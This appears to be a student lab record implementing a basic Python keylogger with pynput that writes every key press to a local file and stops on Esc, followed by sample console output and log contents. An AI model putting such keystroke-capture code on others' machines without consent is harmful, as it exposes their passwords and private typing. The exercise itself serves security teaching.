

EX.NO: 4

ROLL.NO: 210701275

DATE: Key Logger

AIM:

To implement a keylogger to record the keystrokes.

ALGORITHM:

1. Import 'Key' and 'Listener' from 'pynput.keyboard'.
2. Create an empty list 'the_keys' to store pressed keys.
3. Define 'functionPerKey(key)' to append pressed keys to 'the_keys' and write them to a file.
4. Define 'storeKeysToFile(keys)' to write keys to a log file.
5. Define 'onEachKeyRelease(the_key)' to stop the keylogger when "Esc" key is pressed.

PROGRAM:

```
# importing the required modules
from pynput.keyboard import Key
from pynput.keyboard import Listener

# creating an empty list to store pressed keys
the_keys = []

# creating a function that defines what to do on each key press
def functionPerKey(key):
    # appending each pressed key to a list
    the_keys.append(key)
    # writing list to file after each key pressed
    storeKeysToFile(the_keys)

# defining the function to write keys to the log file
def storeKeysToFile(keys):

    with open(r'C:\Users\REC\Desktop\keylog.txt','w') as log:

        for the_key in keys:

            the_key = str(the_key).replace("'", "")
            log.write(the_key)

def onEachKeyRelease(the_key):
    # In case, the key is "Esc" then stopping the keylogger
```

```

    if the_key == Key.esc:
        return False

with Listener(
    on_press = functionPerKey,
    on_release = onEachKeyRelease
) as the_listener:
    the_listener.join()

```

OUTPUT:

Keyloggers.py

```

Python 3.11.5 (tags/v3.11.5:cce6ba9, Aug 24 2023, 14:38:34) [MSC v.1936 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license()" for more information.
>>>
== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
k
...
e
>>>
== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
g
...
w
...
e
>>>

```

keylog.txt:

```
gKey.enterwKey.entereKey.enter`Key.backspaceKey.esc
```

RESULT: